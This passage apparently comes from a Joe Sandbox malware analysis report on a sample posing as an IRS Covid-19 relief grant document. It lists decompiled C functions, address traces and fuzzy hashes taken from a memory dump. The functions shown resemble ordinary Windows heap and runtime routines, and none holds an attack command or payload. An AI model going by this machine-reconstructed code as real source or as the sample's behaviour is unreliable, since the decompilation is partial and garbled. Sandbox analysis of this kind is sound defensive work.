				_t61 = _t84 ^ _t35 ^ _t57;
				_t83 = _t61 >> 0x00000001 & 0x00007fff;
				_v20 = _t83;
				 *_t57 = (_t84 ^ _t35 ^ _t57) & 0x7fffffff ^ _t35 ^ _t57;
				_t63 = _t61 >> 0x00000010 & 0x00007fff;
				if(_t63 != 0) {
					_t100 =  *0x1e356110; // 0x3c48ecc
					_t77 = _t57 - (_t63 << 3);
					_v16 = _t77;
					_t102 = _t100 ^ _t77 ^  *_t77;
					_t106 = _t102;
					if(_t102 >= 0) {
						E1E332E3F(_v8, __edx, _t106, _t77);
						_t57 = _v16;
						_t79 = _v12;
						_t83 = _t83 + (_t102 >> 0x00000001 & 0x00007fff);
					}
				}
				_t64 = _t57 + _t83 * 8;
				if(_t64 < _t79 + (( *(_t79 + 0x14) & 0x0000ffff) + 3) * 8) {
					asm("lfence");
					_t97 =  *_t64 ^  *0x1e356110 ^ _t64;
					_t109 = _t97;
					if(_t97 >= 0) {
						E1E332E3F(_v8, _t79, _t109, _t64);
						_t79 = _v12;
						_t83 = _t83 + (_t97 >> 0x00000001 & 0x00007fff);
					}
				}
				if(( *(_v8 + 0x38) & 0x00000001) != 0) {
					_t73 = _t57 + _t83 * 8;
					if(_t73 < _t79 + (( *(_t79 + 0x14) & 0x0000ffff) + 3) * 8) {
						asm("lfence");
						_t92 =  *_t73 ^  *0x1e356110 ^ _t73;
						_t113 = _t92;
						if(_t92 >= 0) {
							E1E332E3F(_v8, _t79, _t113, _t73);
							_t83 = _t83 + (_t92 >> 0x00000001 & 0x00007fff);
						}
					}
				}
				if(_v20 != _t83) {
					_t66 = _v12;
					_t80 = _t57 + _t83 * 8;
					 *_t57 =  *_t57 ^ (_t83 + _t83 ^  *_t57 ^  *0x1e356110 ^ _t57) & 0x0000fffe;
					if(_t80 < _v12 + (( *(_t66 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t80 =  *_t80 ^ (_t83 << 0x00000010 ^  *_t80 ^  *0x1e356110 ^ _t80) & 0x7fff0000;
					}
				}
				 *_a8 = _t83;
				return _t57;
			}

0x1e3320a8
0x1e3320b0
0x1e3320b6
0x1e3320ba
0x1e3320be
0x1e3320c4
0x1e3320cb
0x1e3320db
0x1e3320e4
0x1e3320e7
0x1e3320e9
0x1e3320ef
0x1e3320f1
0x1e3320fe
0x1e332102
0x1e332105
0x1e332105
0x1e332107
0x1e33210d
0x1e332112
0x1e332115
0x1e332120
0x1e332120
0x1e332107
0x1e332126
0x1e332131
0x1e332133
0x1e33213e
0x1e33213e
0x1e332140
0x1e332146
0x1e33214b
0x1e332156
0x1e332156
0x1e332140
0x1e33215f
0x1e332165
0x1e332170
0x1e332172
0x1e33217d
0x1e33217d
0x1e33217f
0x1e332185
0x1e332192
0x1e332192
0x1e33217f
0x1e332170
0x1e332197
0x1e332199
0x1e3321a1
0x1e3321b1
0x1e3321bf
0x1e3321d6
0x1e3321d6
0x1e3321bf
0x1e3321dd
0x1e3321e5

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5330c2379c82aa768986b181e4d0a76eace20af86d69c43d513e43c8a209a78a
Instruction ID: c45a677c29879a5a816f3a3f4680cccb9707534ea3a98d5209803e708ef33047
Opcode Fuzzy Hash: 5330c2379c82aa768986b181e4d0a76eace20af86d69c43d513e43c8a209a78a
Instruction Fuzzy Hash: 0741B433E1002A8BCB18CF68C491979B3F6FF8870576642BDD915AB291DB74AE41C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E332D07, Relevance: .1, Instructions: 112
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E332D07(void* __ecx, void* __edx, void* __eflags, signed short _a4) {
				char _v5;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int* _v24;
				signed int _t34;
				signed char _t40;
				signed int* _t49;
				signed int _t55;
				signed char _t57;
				signed char _t58;
				signed char _t59;
				signed short _t60;
				unsigned int _t66;
				unsigned int _t71;
				signed int _t77;
				signed char _t83;
				signed char _t84;
				signed int _t91;
				signed int _t93;
				signed int _t96;

				_t34 = E1E3321E8(_a4, __edx,  &_v24,  &_v20);
				_t83 =  !_v20;
				_t57 =  !_v16;
				_t84 = _t83 >> 8;
				_v12 = _t84 >> 8;
				_v5 =  *((intOrPtr*)((_t83 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t84 & 0x000000ff) + 0x1e24ac00));
				_t58 = _t57 >> 8;
				_t59 = _t58 >> 8;
				_t66 = _t59 >> 8;
				_t60 = _a4;
				_t13 = _t66 + 0x1e24ac00; // 0x6070708
				_t40 = _v12;
				_t71 = _t40 >> 8;
				_v12 = 0;
				_t17 = _t71 + 0x1e24ac00; // 0x6070708
				 *((intOrPtr*)(__ecx + 0x1c)) =  *((intOrPtr*)(__ecx + 0x1c)) + ( *_t13 +  *((intOrPtr*)((_t59 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t57 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t58 & 0x000000ff) + 0x1e24ac00)) & 0x000000ff) + ( *_t17 +  *((intOrPtr*)((_t40 & 0x000000ff) + 0x1e24ac00)) + _v5 & 0x000000ff);
				 *_t60 =  *_t60 ^ ( *_t60 ^  *0x1e356110 ^ _t34 ^ _t60) & 0x00000001;
				_t49 = __ecx + 8;
				_t77 =  *_t60 & 0x0000ffff ^ _t60 & 0x0000ffff ^  *0x1e356110 & 0x0000ffff;
				_t91 =  *_t49;
				_t96 = _t49[1] & 1;
				_v24 = _t49;
				if(_t91 != 0) {
					_t93 = _t77;
					L2:
					while(1) {
						if(_t93 < (_t91 - 0x00000004 & 0x0000ffff ^  *(_t91 - 4) & 0x0000ffff ^  *0x1e356110 & 0x0000ffff)) {
							_t55 =  *_t91;
							if(_t96 == 0) {
								L11:
								if(_t55 == 0) {
									goto L13;
								} else {
									goto L12;
								}
							} else {
								if(_t55 == 0) {
									L13:
									_v12 = 0;
								} else {
									_t55 = _t55 ^ _t91;
									goto L11;
								}
							}
						} else {
							_t55 =  *(_t91 + 4);
							if(_t96 == 0) {
								L6:
								if(_t55 != 0) {
									L12:
									_t91 = _t55;
									continue;
								} else {
									goto L7;
								}
							} else {
								if(_t55 == 0) {
									L7:
									_v12 = 1;
								} else {
									_t55 = _t55 ^ _t91;
									goto L6;
								}
							}
						}
						goto L14;
					}
				}
				L14:
				_t29 = _t60 + 4; // 0x4
				return E1E27B090(_v24, _t91, _v12, _t29);
			}

0x1e332d1f
0x1e332d2c
0x1e332d31
0x1e332d33
0x1e332d42
0x1e332d4b
0x1e332d51
0x1e332d5d
0x1e332d62
0x1e332d6e
0x1e332d71
0x1e332d7d
0x1e332d87
0x1e332d8d
0x1e332d91
0x1e332da5
0x1e332db7
0x1e332dc8
0x1e332dcf
0x1e332dd1
0x1e332dd3
0x1e332dd6
0x1e332ddb
0x1e332ddd
0x00000000
0x1e332ddf
0x1e332df5
0x1e332e0e
0x1e332e12
0x1e332e1a
0x1e332e1c
0x00000000
0x00000000
0x00000000
0x00000000
0x1e332e14
0x1e332e16
0x1e332e22
0x1e332e22
0x1e332e18
0x1e332e18
0x00000000
0x1e332e18
0x1e332e16
0x1e332df7
0x1e332df7
0x1e332dfc
0x1e332e04
0x1e332e06
0x1e332e1e
0x1e332e1e
0x00000000
0x00000000
0x00000000
0x00000000
0x1e332dfe
0x1e332e00
0x1e332e08
0x1e332e08
0x1e332e02
0x1e332e02
0x00000000
0x1e332e02
0x1e332e00
0x1e332dfc
0x00000000
0x1e332df5
0x1e332ddf
0x1e332e26
0x1e332e26
0x1e332e3c

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 586939d95c89aa2bd19715bdf6707bff410cc7e825950f52b5b65eb9531b9750
Instruction ID: 038f22b77259990d97020dbdc5e1652c424b004b06a951876c0db5a447b5585d
Opcode Fuzzy Hash: 586939d95c89aa2bd19715bdf6707bff410cc7e825950f52b5b65eb9531b9750
Instruction Fuzzy Hash: FA417B715042654BC744CB66C4B1EBABFF5EF85202B2683A6D881EB242EA38D542C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 1E332EF7, Relevance: .1, Instructions: 72
COMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E1E332EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x1e35d360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E1E2AD0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E1E2AD0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E1E282280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x1e35b1e0();
						 *( *(_t106 + 0x30) ^  *0x1e356110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x1e35b1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x1e356110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E1E27FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E1E2AB640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x1e24ac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x1e24ac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x1e332efc
0x1e332efd
0x1e332eff
0x1e332f03
0x1e332f0a
0x1e332f0c
0x1e332f15
0x1e332fba
0x1e332fbb
0x1e332fc5
0x1e332fcd
0x1e332fcf
0x1e332fd3
0x1e332fd4
0x1e332fd5
0x1e332fd7
0x1e332fda
0x1e332fdb
0x1e332fdd
0x1e332fe0
0x1e332fe2
0x1e332ffc
0x1e332fe4
0x1e332fe4
0x1e332fea
0x1e332fed
0x1e332fef
0x1e332ff6
0x1e332ff1
0x1e332ff1
0x1e332ff1
0x1e332fef
0x1e332fff
0x1e333001
0x1e33301b
0x1e333003
0x1e333003
0x1e33300e
0x1e333015
0x1e333010
0x1e333010
0x1e333010
0x1e333010
0x1e33300e
0x1e33302c
0x1e333035
0x1e33303c
0x1e333046
0x1e33304e
0x1e333056
0x1e33305a
0x1e33305e
0x1e333063
0x1e333067
0x1e33306b
0x1e33306f
0x1e333072
0x1e3330af
0x1e3330b5
0x1e3330c1
0x1e3330c9
0x1e3330c9
0x1e3330c9
0x00000000
0x1e333074
0x1e333081
0x1e333089
0x1e33308b
0x1e33308d
0x1e333093
0x1e33309a
0x1e3330ce
0x1e3330d1
0x1e3330d5
0x1e3330d5
0x1e3330d5
0x1e33308d
0x1e3330db
0x1e3330e6
0x1e3330e7
0x1e3330e8
0x1e3330e9
0x1e3330f3
0x1e332f27
0x1e332f29
0x1e332f2b
0x1e332f2d
0x1e332f36
0x1e332f3d
0x1e332f4c
0x1e332f58
0x1e332fad
0x1e332fb7
0x1e332fb7

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b43e8c9d14e0fa6f1c17f50b4eecea48fc9d0c6c0e8e1fb98afaa8fefb96cb6
Instruction ID: b87eb09cef9fff8e9a7a6b1537a12ade8b045be520bbc63b84ac3ea9814458de
Opcode Fuzzy Hash: 1b43e8c9d14e0fa6f1c17f50b4eecea48fc9d0c6c0e8e1fb98afaa8fefb96cb6
Instruction Fuzzy Hash: 3C210AB12081900FE748CF5AC8F1DB6BFE1EFC612635682E5E884EF342D5249807CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E331FF1, Relevance: .1, Instructions: 70
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E1E331FF1(void* __ecx, intOrPtr __edx, signed int _a4) {
				intOrPtr _v8;
				signed int _t22;
				signed int _t34;
				signed int _t38;
				signed int _t41;
				signed int _t42;
				signed int _t44;
				signed int _t54;
				signed int _t55;

				_t44 = _a4;
				_v8 = __edx;
				_t3 = _t44 + 0x1007; // 0x1007
				_t41 = _t3 & 0xfffff000;
				_t54 = ( *_t44 ^  *0x1e356110 ^ _t44) >> 0x00000001 & 0x00007fff;
				if(_t41 - _t44 < _t54 << 3) {
					_t42 = _t41 + 0xfffffff0;
					_t34 = _t42 - _t44 >> 3;
					_t55 = _t54 - _t34;
					 *_t44 =  *_t44 ^ (_t34 + _t34 ^  *_t44 ^  *0x1e356110 ^ _t44) & 0x0000fffe;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_t22 = ((_t34 & 0x00007fff) << 0x0000000f | _t55 & 0x00007fff) + ((_t34 & 0x00007fff) << 0x0000000f | _t55 & 0x00007fff);
					 *_t42 = _t22;
					_t38 = _t42 + _t55 * 8;
					 *_t42 = _t22 ^  *0x1e356110 ^ _t42;
					if(_t38 < _v8 + (( *(_v8 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t38 =  *_t38 ^ (_t55 << 0x00000010 ^  *0x1e356110 ^ _t38 ^  *_t38) & 0x7fff0000;
					}
				} else {
					_t42 = 0;
				}
				return _t42;
			}

0x1e331ff9
0x1e331ffc
0x1e332001
0x1e33200d
0x1e33201b
0x1e332028
0x1e33202e
0x1e332035
0x1e332038
0x1e33204c
0x1e332052
0x1e332053
0x1e332054
0x1e332055
0x1e332069
0x1e33206c
0x1e33206e
0x1e332079
0x1e332087
0x1e33209c
0x1e33209c
0x1e33202a
0x1e33202a
0x1e33202a
0x1e3320a5

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98916fe286dd91ee68b5b46906ece4b8ea2bdb8bd988e9466b8edf473b3ab5a8
Instruction ID: 0bd470c1e5d322671bda0ff718512e7913c0f4934e4465b7f9211a85ea7aaf32
Opcode Fuzzy Hash: 98916fe286dd91ee68b5b46906ece4b8ea2bdb8bd988e9466b8edf473b3ab5a8
Instruction Fuzzy Hash: F021A233A204259BDB18CF7DC805566F7E6EFCC21132A467AD816DB265EA70BE11C6C0

Uniqueness

Uniqueness Score: -1.00%

Function 1E27841F, Relevance: .1, Instructions: 64
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E1E27841F(signed int __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _t43;
				signed int _t46;
				signed int _t50;
				signed int _t57;
				signed int _t64;

				_v16 = __ecx;
				_t43 =  *0x7ffe0004;
				_v8 = _t43;
				_t57 =  *0x7ffe0014 ^  *( *[fs:0x18] + 0x24) ^  *( *[fs:0x18] + 0x20) ^  *0x7ffe0018;
				_v12 = 0x7ffe0014;
				if(_t43 < 0x1000000) {
					while(1) {
						_t46 =  *0x7ffe0324;
						_t50 =  *0x7FFE0320;
						if(_t46 ==  *0x7FFE0328) {
							break;
						}
						asm("pause");
					}
					_t57 = _v12;
					_t64 = ((_t50 * _v8 >> 0x00000020 << 0x00000020 | _t50 * _v8) >> 0x18) + (_t46 << 8) * _v8;
				} else {
					_t64 = ( *0x7ffe0320 * _t43 >> 0x00000020 << 0x00000020 | 0x7ffe0320 * _t43) >> 0x18;
				}
				_push(0);
				_push( &_v24);
				E1E2A9810();
				return _t64 ^ _v20 ^ _v24 ^ _t57 ^ _v16;
			}

0x1e27842f
0x1e278448
0x1e27844e
0x1e278459
0x1e27845b
0x1e278464
0x1e2c9ac3
0x1e2c9ac3
0x1e2c9ac5
0x1e2c9acb
0x00000000
0x00000000
0x1e2c9acd
0x1e2c9acd
0x1e2c9ad1
0x1e2c9ae9
0x1e27846a
0x1e278475
0x1e278479
0x1e27847c
0x1e278481
0x1e278482
0x1e27849a

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ac1e4b842af79e23be26fd2b4bf9cab7c83af8bb38cd4daac8e95d5517faf3
Instruction ID: 60866a4ce94974067fe5b0cc590412e038a657d09e1c0c2a6321af21fe7c2c5c
Opcode Fuzzy Hash: 63ac1e4b842af79e23be26fd2b4bf9cab7c83af8bb38cd4daac8e95d5517faf3
Instruction Fuzzy Hash: 95217276E00119DBCB14CFA9C59068AF3F9FB8C360F664665E958B7744CA70AE04CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f961c17837c72181b8d16d13ee205d70cd6e6ccaa42f6bd674570b1ed7414365
Instruction ID: 35f5cc114e451bd804a4f20307ba36bd2177305e930b6c28bcc0a184278d136b
Opcode Fuzzy Hash: f961c17837c72181b8d16d13ee205d70cd6e6ccaa42f6bd674570b1ed7414365
Instruction Fuzzy Hash: 5290027160500803D190716A442478A000597D0781F91C121E0024614DC7959A5576E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14d2efe6c572b08c4b89141364741d8b3dc06c1f7152d14bbc45687172915ab2
Instruction ID: 86aebbf7084d00022bb0a5cdd74288f679cea66a11593fcb248c1f99b7f80360
Opcode Fuzzy Hash: 14d2efe6c572b08c4b89141364741d8b3dc06c1f7152d14bbc45687172915ab2
Instruction Fuzzy Hash: D190027120504843D180716A4414A8A001597D0785F91C121E0064654DD6659D55B6A2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A96D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a27d44643bd808f69daba7baf1c5c78afff661df33d82513a0e3e4f2abadcc
Instruction ID: e82e484fe6c5b3647bf9f61e24cd0f71888bcc54acf8fed06b9b68b13f9ec816
Opcode Fuzzy Hash: 34a27d44643bd808f69daba7baf1c5c78afff661df33d82513a0e3e4f2abadcc
Instruction Fuzzy Hash: 2B90027120100843D140616A4414B8A000597E0781F91C126E0124614DC655D8517562

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523bed2d16ea768e699d86db959729505748f9c6f7852e738f67c450c667ff7f
Instruction ID: fe92f946a6ed41be06d010e5436eb476a8a7919ee15ac4b59a82ad72d67f528a
Opcode Fuzzy Hash: 523bed2d16ea768e699d86db959729505748f9c6f7852e738f67c450c667ff7f
Instruction Fuzzy Hash: 2390026160500403D180716A542874A001597D0681F91D121E0024514DC6999A5576E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20753689beae20d3efe6635595d66bfe4f2c3f7ffd1424afe498bb2d829feb6d
Instruction ID: f4a2058290498c573d02a91e234f3eeb3009f6d034e0fad24c4f39439f03566a
Opcode Fuzzy Hash: 20753689beae20d3efe6635595d66bfe4f2c3f7ffd1424afe498bb2d829feb6d
Instruction Fuzzy Hash: 7390027120100403D14065AA541868A000597E0781F91D121E5024515EC6A598917172

Uniqueness

Uniqueness Score: -1.00%

Function 1E2AA710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c8d54baf459e81dbdd3f61e287b7013827b221468becbd9fc9981792c4f759b
Instruction ID: d0581af019b40b7e9de8abcbf21d30769e90a7d5c8103a32069c50e13ce00bc9
Opcode Fuzzy Hash: 5c8d54baf459e81dbdd3f61e287b7013827b221468becbd9fc9981792c4f759b
Instruction Fuzzy Hash: 88900271301000539540A6AA5814A8E410597F0781B91D125E4014514CC59498616162

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53b310b363ce668e15acdf09c0a588ac8ac6a9653f79e094a77ec60491e37d3
Instruction ID: ae5843ccd0b2b182d58b679cfc4ce664b19a4c32ba349488ad919874e55e5077
Opcode Fuzzy Hash: b53b310b363ce668e15acdf09c0a588ac8ac6a9653f79e094a77ec60491e37d3
Instruction Fuzzy Hash: 5790027120100403D140616A551874B000597D0681F91D521E0424518DD69698517162

Uniqueness

Uniqueness Score: -1.00%

Function 1E2AA770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd76f1dd99a0129f7ebd723d4709342e59a7207350d479dcca9d70fc69affc7a
Instruction ID: b80d5c414ee8df3201f11a590c45bf39505033a723e7e495fe0cfe0a1007ec3a
Opcode Fuzzy Hash: fd76f1dd99a0129f7ebd723d4709342e59a7207350d479dcca9d70fc69affc7a
Instruction Fuzzy Hash: 5990027520504443D540656A5814ACB000597D0785F91D521E042455CDC6949861B162

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 988dde23a4c53fdfbdddad270bb1b72738895a84bb0be6ad1ed6930a3b01f2d7
Instruction ID: 596e2b53aebc93407e378801ec1a303b41c5021233f46951179ce4f5aca95014
Opcode Fuzzy Hash: 988dde23a4c53fdfbdddad270bb1b72738895a84bb0be6ad1ed6930a3b01f2d7
Instruction Fuzzy Hash: D890026120504443D140656A5418A4A000597D0685F91D121E1064555DC6759851B172

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A97A0, Relevance: .0, Instructions: 4COMMONLIBRARYCODE

